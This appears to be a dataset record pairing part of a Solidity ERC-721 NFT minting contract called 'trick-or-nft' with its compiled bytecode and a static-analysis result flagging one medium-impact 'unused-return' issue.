uint256 private _maxSupply;
bool private _isPublicMintEnabled;
/**
* @dev Initializes the contract setting the `tokenName` and `symbol` of the nft, `cost` of each mint call, and maximum `supply` of the nft.
* Note: `cost` is in wei.
*/
constructor(string memory tokenName, string memory symbol, uint256 cost, uint256 supply) ERC721(tokenName, symbol) Ownable() {
_mintCost = cost;
_maxSupply = supply;
_isPublicMintEnabled = false;
}
/**
* @dev Changes contract state to enable public access to `mintTokens` function
* Can only be called by the current owner.
*/
function allowPublicMint()
public
onlyOwner{
_isPublicMintEnabled = true;
}
/**
* @dev Changes contract state to disable public access to `mintTokens` function
* Can only be called by the current owner.
*/
function denyPublicMint()
public
onlyOwner{
_isPublicMintEnabled = false;
}
/**
* @dev Mint `count` tokens if requirements are satisfied.
*
*/
function mintTokens(uint256 count)
public
payable
nonReentrant{
require(_isPublicMintEnabled, "Mint disabled");
require(count > 0 && count <= 100, "You can drop minimum 1, maximum 100 NFTs");
require(count.add(_tokenIds.current()) < _maxSupply, "Exceeds max supply");
require(owner() == msg.sender || msg.value >= _mintCost.mul(count),
"Ether value sent is below the price");
for(uint i=0; i<count; i++){
_mint(msg.sender);
}
}
/**
* @dev Mint a token to each Address of `recipients`.
* Can only be called if requirements are satisfied.
*/
function mintTokens(address[] calldata recipients)
public
payable
nonReentrant{
require(recipients.length>0,"Missing recipient addresses");
require(owner() == msg.sender || _isPublicMintEnabled, "Mint disabled");
require(recipients.length > 0 && recipients.length <= 100, "You can drop minimum 1, maximum 100 NFTs");
require(recipients.length.add(_tokenIds.current()) < _maxSupply, "Exceeds max supply");
require(owner() == msg.sender || msg.value >= _mintCost.mul(recipients.length),
"Ether value sent is below the price");
for(uint i=0; i<recipients.length; i++){
_mint(recipients[i]);
}
}
/**
* @dev Update the cost to mint a token.
* Can only be called by the current owner.
*/
function setCost(uint256 cost) public onlyOwner{
_mintCost = cost;
}
/**
* @dev Update the max supply.
* Can only be called by the current owner.
*/
function setMaxSupply(uint256 max) public onlyOwner{
_maxSupply = max;
}
/**
* @dev Transfers contract balance to contract owner.
* Can only be called by the current owner.
*/
function withdraw() public onlyOwner{
payable(owner()).transfer(address(this).balance);
}
/**
* @dev Used by public mint functions and by owner functions.
* Can only be called internally by other functions.
*/
function _mint(address to) internal virtual returns (uint256){
_tokenIds.increment();
uint256 id = _tokenIds.current();
_safeMint(to, id);
return id;
}
function getCost() public view returns (uint256){
return _mintCost;
}
function totalSupply() public view returns (uint256){
return _maxSupply;
}
function getCurrentSupply() public view returns (uint256){
return _tokenIds.current();
}
function getMintStatus() public view returns (bool) {
return _isPublicMintEnabled;
}
function _baseURI() override internal pure returns (string memory) {
return "https://mw9spidhbc.execute-api.us-east-1.amazonaws.com/dev/token/trick-or-nft/";
}
function contractURI() public pure returns (string memory) {
return "https://mw9spidhbc.execute-api.us-east-1.amazonaws.com/dev/contract/trick-or-nft";
}
} | 0x6080604052600436106101b75760003560e01c806370a08231116100ec578063a22cb4651161008a578063c87b56dd11610064578063c87b56dd14610590578063e8a3d485146105cd578063e985e9c5146105f8578063f2fde38b14610635576101b7565b8063a22cb46514610513578063b88d4fde1461053c578063bd3e19d414610565576101b7565b8063941ada0e116100c6578063941ada0e1461048a57806395d89b41146104b557806397304ced146104e05780639edcc310146104fc576101b7565b806370a082311461040b578063715018a6146104485780638da5cb5b1461045f576101b7565b80633ccfd60b1161015957806344a0d68a1161013357806344a0d68a146103515780634f3e1efc1461037a5780636352211e146103a55780636f8b44b0146103e2576101b7565b80633ccfd60b146102f55780633fa40f941461030c57806342842e0e14610328576101b7565b8063095ea7b311610195578063095ea7b31461026157806318160ddd1461028a57806323b872dd146102b557806335133b40146102de576101b7565b806301ffc9a7146101bc57806306fdde03146101f9578063081812fc14610224575b600080fd5b3480156101c857600080fd5b506101e360048036038101906101de9190612821565b61065e565b6040516101f09190612d05565b60405180910390f35b34801561020557600080fd5b5061020e610740565b60405161021b9190612d20565b60405180910390f35b34801561023057600080fd5b5061024b6004803603810190610246919061287b565b6107d2565b6040516102589190612c9e565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190612794565b610857565b005b34801561029657600080fd5b5061029f61096f565b6040516102ac9190613002565b60405180910390f35b3480156102c157600080fd5b506102dc60048036038101906102d7919061267e565b610979565b005b3480156102ea57600080fd5b506102f36109d9565b005b34801561030157600080fd5b5061030a610a72565b005b610326600480360381019061032191906127d4565b610b3e565b005b34801561033457600080fd5b5061034f600480360381019061034a919061267e565b610e0c565b005b34801561035d57600080fd5b506103786004803603810190610373919061287b565b610e2c565b005b34801561038657600080fd5b5061038f610eb2565b60405161039c9190613002565b60405180910390f35b3480156103b157600080fd5b506103cc60048036038101906103c7919061287b565b610ec3565b6040516103d99190612c9e565b60405180910390f35b3480156103ee57600080fd5b506104096004803603810190610404919061287b565b610f75565b005b34801561041757600080fd5b50610432600480360381019061042d9190612611565b610ffb565b60405161043f9190613002565b60405180910390f35b34801561045457600080fd5b5061045d6110b3565b005b34801561046b57600080fd5b5061047461113b565b6040516104819190612c9e565b60405180910390f35b34801561049657600080fd5b5061049f611165565b6040516104ac9190612d05565b60405180910390f35b3480156104c157600080fd5b506104ca61117c565b6040516104d79190612d20565b60405180910390f35b6104fa60048036038101906104f5919061287b565b61120e565b005b34801561050857600080fd5b50610511611422565b005b34801561051f57600080fd5b5061053a60048036038101906105359190612754565b6114bb565b005b34801561054857600080fd5b50610563600480360381019061055e91906126d1565b61163c565b005b34801561057157600080fd5b5061057a61169e565b6040516105879190613002565b60405180910390f35b34801561059c57600080fd5b506105b760048036038101906105b2919061287b565b6116a8565b6040516105c49190612d20565b60405180910390f35b3480156105d957600080fd5b506105e261174f565b6040516105ef9190612d20565b60405180910390f35b34801561060457600080fd5b5061061f600480360381019061061a919061263e565b61176f565b60405161062c9190612d05565b60405180910390f35b34801561064157600080fd5b5061065c60048036038101906106579190612611565b611803565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061072957507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806107395750610738826118fb565b5b9050919050565b60606000805461074f90613281565b80601f016020809104026020016040519081016040528092919081815260200182805461077b90613281565b80156107c85780601f1061079d576101008083540402835291602001916107c8565b820191906000526020600020905b8154815290600101906020018083116107ab57829003601f168201915b5050505050905090565b60006107dd82611965565b61081c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081390612ee2565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061086282610ec3565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ca90612f62565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108f26119d1565b73ffffffffffffffffffffffffffffffffffffffff16148061092157506109208161091b6119d1565b61176f565b5b610960576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095790612e02565b60405180910390fd5b61096a83836119d9565b505050565b6000600a54905090565b61098a6109846119d1565b82611a92565b6109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c090612fa2565b60405180910390fd5b6109d4838383611b70565b505050565b6109e16119d1565b73ffffffffffffffffffffffffffffffffffffffff166109ff61113b565b73ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90612f02565b60405180910390fd5b6000600b60006101000a81548160ff021916908315150217905550565b610a7a6119d1565b73ffffffffffffffffffffffffffffffffffffffff16610a9861113b565b73ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae590612f02565b60405180910390fd5b610af661113b565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610b3b573d6000803e3d6000fd5b50565b60026007541415610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b90612fe2565b60405180910390fd5b600260078190555060008282905011610bd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc990612f82565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16610bf161113b565b73ffffffffffffffffffffffffffffffffffffffff161480610c1f5750600b60009054906101000a900460ff165b610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5590612fc2565b60405180910390fd5b600082829050118015610c75575060648282905011155b610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab90612e22565b60405180910390fd5b600a54610cd6610cc46008611dcc565b84849050611dda90919063ffffffff16565b10610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90612e82565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16610d3561113b565b73ffffffffffffffffffffffffffffffffffffffff161480610d6e5750610d6a82829050600954611df090919063ffffffff16565b3410155b610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490612ea2565b60405180910390fd5b60005b82829050811015610dff57610deb838383818110610dd157610dd06133eb565b5b9050602002016020810190610de69190612611565b611e06565b508080610df7906132e4565b915050610db0565b5060016007819055505050565b610e278383836040518060200160405280600081525061163c565b505050565b610e346119d1565b73ffffffffffffffffffffffffffffffffffffffff16610e5261113b565b73ffffffffffffffffffffffffffffffffffffffff1614610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f90612f02565b60405180910390fd5b8060098190555050565b6000610ebe6008611dcc565b905090565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6390612e62565b60405180910390fd5b80915050919050565b610f7d6119d1565b73ffffffffffffffffffffffffffffffffffffffff16610f9b61113b565b73ffffffffffffffffffffffffffffffffffffffff1614610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890612f02565b60405180910390fd5b80600a8190555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106390612e42565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6110bb6119d1565b73ffffffffffffffffffffffffffffffffffffffff166110d961113b565b73ffffffffffffffffffffffffffffffffffffffff161461112f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112690612f02565b60405180910390fd5b6111396000611e33565b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600b60009054906101000a900460ff16905090565b60606001805461118b90613281565b80601f01602080910402602001604051908101604052809291908181526020018280546111b790613281565b80156112045780601f106111d957610100808354040283529160200191611204565b820191906000526020600020905b8154815290600101906020018083116111e757829003601f168201915b5050505050905090565b60026007541415611254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124b90612fe2565b60405180910390fd5b6002600781905550600b60009054906101000a900460ff166112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a290612fc2565b60405180910390fd5b6000811180156112bc575060648111155b6112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290612e22565b60405180910390fd5b600a5461131a61130b6008611dcc565b83611dda90919063ffffffff16565b1061135a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135190612e82565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff1661137961113b565b73ffffffffffffffffffffffffffffffffffffffff1614806113af57506113ab81600954611df090919063ffffffff16565b3410155b6113ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e590612ea2565b60405180910390fd5b60005b818110156114165761140233611e06565b50808061140e906132e4565b9150506113f1565b50600160078190555050565b61142a6119d1565b73ffffffffffffffffffffffffffffffffffffffff1661144861113b565b73ffffffffffffffffffffffffffffffffffffffff161461149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590612f02565b60405180910390fd5b6001600b60006101000a81548160ff021916908315150217905550565b6114c36119d1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152890612dc2565b60405180910390fd5b806005600061153e6119d1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166115eb6119d1565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516116309190612d05565b60405180910390a35050565b61164d6116476119d1565b83611a92565b61168c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168390612fa2565b60405180910390fd5b61169884848484611ef9565b50505050565b6000600954905090565b60606116b382611965565b6116f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e990612f42565b60405180910390fd5b60006116fc611f55565b9050600081511161171c5760405180602001604052806000815250611747565b8061172684611f75565b604051602001611737929190612c7a565b6040516020818303038152906040525b915050919050565b6060604051806080016040528060508152602001613a6f60509139905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61180b6119d1565b73ffffffffffffffffffffffffffffffffffffffff1661182961113b565b73ffffffffffffffffffffffffffffffffffffffff161461187f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187690612f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e690612d62565b60405180910390fd5b6118f881611e33565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611a4c83610ec3565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611a9d82611965565b611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad390612de2565b60405180910390fd5b6000611ae783610ec3565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611b5657508373ffffffffffffffffffffffffffffffffffffffff16611b3e846107d2565b73ffffffffffffffffffffffffffffffffffffffff16145b80611b675750611b66818561176f565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611b9082610ec3565b73ffffffffffffffffffffffffffffffffffffffff1614611be6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdd90612f22565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4d90612da2565b60405180910390fd5b611c618383836120d6565b611c6c6000826119d9565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cbc9190613197565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d1391906130b6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600081600001549050919050565b60008183611de891906130b6565b905092915050565b60008183611dfe919061313d565b905092915050565b6000611e1260086120db565b6000611e1e6008611dcc565b9050611e2a83826120f1565b80915050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611f04848484611b70565b611f108484848461210f565b611f4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4690612d42565b60405180910390fd5b50505050565b60606040518060800160405280604e8152602001613abf604e9139905090565b60606000821415611fbd576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506120d1565b600082905060005b60008214611fef578080611fd8906132e4565b915050600a82611fe8919061310c565b9150611fc5565b60008167ffffffffffffffff81111561200b5761200a61341a565b5b6040519080825280601f01601f19166020018201604052801561203d5781602001600182028036833780820191505090505b5090505b600085146120ca576001826120569190613197565b9150600a85612065919061332d565b603061207191906130b6565b60f81b818381518110612087576120866133eb565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856120c3919061310c565b9450612041565b8093505050505b919050565b505050565b6001816000016000828254019250508190555050565b61210b8282604051806020016040528060008152506122a6565b5050565b60006121308473ffffffffffffffffffffffffffffffffffffffff16612301565b15612299578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026121596119d1565b8786866040518563ffffffff1660e01b815260040161217b9493929190612cb9565b602060405180830381600087803b15801561219557600080fd5b505af19250505080156121c657506040513d601f19601f820116820180604052508101906121c3919061284e565b60015b612249573d80600081146121f6576040519150601f19603f3d011682016040523d82523d6000602084013e6121fb565b606091505b50600081511415612241576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223890612d42565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061229e565b600190505b949350505050565b6122b08383612314565b6122bd600084848461210f565b6122fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f390612d42565b60405180910390fd5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237b90612ec2565b60405180910390fd5b61238d81611965565b156123cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c490612d82565b60405180910390fd5b6123d9600083836120d6565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461242991906130b6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60006124f56124f084613042565b61301d565b90508281526020810184848401111561251157612510613458565b5b61251c84828561323f565b509392505050565b60008135905061253381613a12565b92915050565b60008083601f84011261254f5761254e61344e565b5b8235905067ffffffffffffffff81111561256c5761256b613449565b5b60208301915083602082028301111561258857612587613453565b5b9250929050565b60008135905061259e81613a29565b92915050565b6000813590506125b381613a40565b92915050565b6000815190506125c881613a40565b92915050565b600082601f8301126125e3576125e261344e565b5b81356125f38482602086016124e2565b91505092915050565b60008135905061260b81613a57565b92915050565b60006020828403121561262757612626613462565b5b600061263584828501612524565b91505092915050565b6000806040838503121561265557612654613462565b5b600061266385828601612524565b925050602061267485828601612524565b9150509250929050565b60008060006060848603121561269757612696613462565b5b60006126a586828701612524565b93505060206126b686828701612524565b92505060406126c7868287016125fc565b9150509250925092565b600080600080608085870312156126eb576126ea613462565b5b60006126f987828801612524565b945050602061270a87828801612524565b935050604061271b878288016125fc565b925050606085013567ffffffffffffffff81111561273c5761273b61345d565b5b612748878288016125ce565b91505092959194509250565b6000806040838503121561276b5761276a613462565b5b600061277985828601612524565b925050602061278a8582860161258f565b9150509250929050565b600080604083850312156127ab576127aa613462565b5b60006127b985828601612524565b92505060206127ca858286016125fc565b9150509250929050565b600080602083850312156127eb576127ea613462565b5b600083013567ffffffffffffffff8111156128095761280861345d565b5b61281585828601612539565b92509250509250929050565b60006020828403121561283757612836613462565b5b6000612845848285016125a4565b91505092915050565b60006020828403121561286457612863613462565b5b6000612872848285016125b9565b91505092915050565b60006020828403121561289157612890613462565b5b600061289f848285016125fc565b91505092915050565b6128b1816131cb565b82525050565b6128c0816131dd565b82525050565b60006128d182613073565b6128db8185613089565b93506128eb81856020860161324e565b6128f481613467565b840191505092915050565b600061290a8261307e565b612914818561309a565b935061292481856020860161324e565b61292d81613467565b840191505092915050565b60006129438261307e565b61294d81856130ab565b935061295d81856020860161324e565b80840191505092915050565b600061297660328361309a565b915061298182613478565b604082019050919050565b600061299960268361309a565b91506129a4826134c7565b604082019050919050565b60006129bc601c8361309a565b91506129c782613516565b602082019050919050565b60006129df60248361309a565b91506129ea8261353f565b604082019050919050565b6000612a0260198361309a565b9150612a0d8261358e565b602082019050919050565b6000612a25602c8361309a565b9150612a30826135b7565b604082019050919050565b6000612a4860388361309a565b9150612a5382613606565b604082019050919050565b6000612a6b60288361309a565b9150612a7682613655565b604082019050919050565b6000612a8e602a8361309a565b9150612a99826136a4565b604082019050919050565b6000612ab160298361309a565b9150612abc826136f3565b604082019050919050565b6000612ad460128361309a565b9150612adf82613742565b602082019050919050565b6000612af760238361309a565b9150612b028261376b565b604082019050919050565b6000612b1a60208361309a565b9150612b25826137ba565b602082019050919050565b6000612b3d602c8361309a565b9150612b48826137e3565b604082019050919050565b6000612b6060208361309a565b9150612b6b82613832565b602082019050919050565b6000612b8360298361309a565b9150612b8e8261385b565b604082019050919050565b6000612ba6602f8361309a565b9150612bb1826138aa565b604082019050919050565b6000612bc960218361309a565b9150612bd4826138f9565b604082019050919050565b6000612bec601b8361309a565b9150612bf782613948565b602082019050919050565b6000612c0f60318361309a565b9150612c1a82613971565b604082019050919050565b6000612c32600d8361309a565b9150612c3d826139c0565b602082019050919050565b6000612c55601f8361309a565b9150612c60826139e9565b602082019050919050565b612c7481613235565b82525050565b6000612c868285612938565b9150612c928284612938565b91508190509392505050565b6000602082019050612cb360008301846128a8565b92915050565b6000608082019050612cce60008301876128a8565b612cdb60208301866128a8565b612ce86040830185612c6b565b8181036060830152612cfa81846128c6565b905095945050505050565b6000602082019050612d1a60008301846128b7565b92915050565b60006020820190508181036000830152612d3a81846128ff565b905092915050565b60006020820190508181036000830152612d5b81612969565b9050919050565b60006020820190508181036000830152612d7b8161298c565b9050919050565b60006020820190508181036000830152612d9b816129af565b9050919050565b60006020820190508181036000830152612dbb816129d2565b9050919050565b60006020820190508181036000830152612ddb816129f5565b9050919050565b60006020820190508181036000830152612dfb81612a18565b9050919050565b60006020820190508181036000830152612e1b81612a3b565b9050919050565b60006020820190508181036000830152612e3b81612a5e565b9050919050565b60006020820190508181036000830152612e5b81612a81565b9050919050565b60006020820190508181036000830152612e7b81612aa4565b9050919050565b60006020820190508181036000830152612e9b81612ac7565b9050919050565b60006020820190508181036000830152612ebb81612aea565b9050919050565b60006020820190508181036000830152612edb81612b0d565b9050919050565b60006020820190508181036000830152612efb81612b30565b9050919050565b60006020820190508181036000830152612f1b81612b53565b9050919050565b60006020820190508181036000830152612f3b81612b76565b9050919050565b60006020820190508181036000830152612f5b81612b99565b9050919050565b60006020820190508181036000830152612f7b81612bbc565b9050919050565b60006020820190508181036000830152612f9b81612bdf565b9050919050565b60006020820190508181036000830152612fbb81612c02565b9050919050565b60006020820190508181036000830152612fdb81612c25565b9050919050565b60006020820190508181036000830152612ffb81612c48565b9050919050565b60006020820190506130176000830184612c6b565b92915050565b6000613027613038565b905061303382826132b3565b919050565b6000604051905090565b600067ffffffffffffffff82111561305d5761305c61341a565b5b61306682613467565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006130c182613235565b91506130cc83613235565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131015761310061335e565b5b828201905092915050565b600061311782613235565b915061312283613235565b9250826131325761313161338d565b5b828204905092915050565b600061314882613235565b915061315383613235565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561318c5761318b61335e565b5b828202905092915050565b60006131a282613235565b91506131ad83613235565b9250828210156131c0576131bf61335e565b5b828203905092915050565b60006131d682613215565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561326c578082015181840152602081019050613251565b8381111561327b576000848401525b50505050565b6000600282049050600182168061329957607f821691505b602082108114156132ad576132ac6133bc565b5b50919050565b6132bc82613467565b810181811067ffffffffffffffff821117156132db576132da61341a565b5b80604052505050565b60006132ef82613235565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133225761332161335e565b5b600182019050919050565b600061333882613235565b915061334383613235565b9250826133535761335261338d565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f596f752063616e2064726f70206d696e696d756d20312c206d6178696d756d2060008201527f313030204e465473000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f45786365656473206d617820737570706c790000000000000000000000000000600082015250565b7f45746865722076616c75652073656e742069732062656c6f772074686520707260008201527f6963650000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d697373696e6720726563697069656e74206164647265737365730000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f4d696e742064697361626c656400000000000000000000000000000000000000600082015250565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b613a1b816131cb565b8114613a2657600080fd5b50565b613a32816131dd565b8114613a3d57600080fd5b50565b613a49816131e9565b8114613a5457600080fd5b50565b613a6081613235565b8114613a6b57600080fd5b5056fe68747470733a2f2f6d7739737069646862632e657865637574652d6170692e75732d656173742d312e616d617a6f6e6177732e636f6d2f6465762f636f6e74726163742f747269636b2d6f722d6e667468747470733a2f2f6d7739737069646862632e657865637574652d6170692e75732d656173742d312e616d617a6f6e6177732e636f6d2f6465762f746f6b656e2f747269636b2d6f722d6e66742fa2646970667358221220debeb9ff734e8dfd04d90db1ad6cc0ff004e18df545b4aa9bd0589fea4324c5964736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} 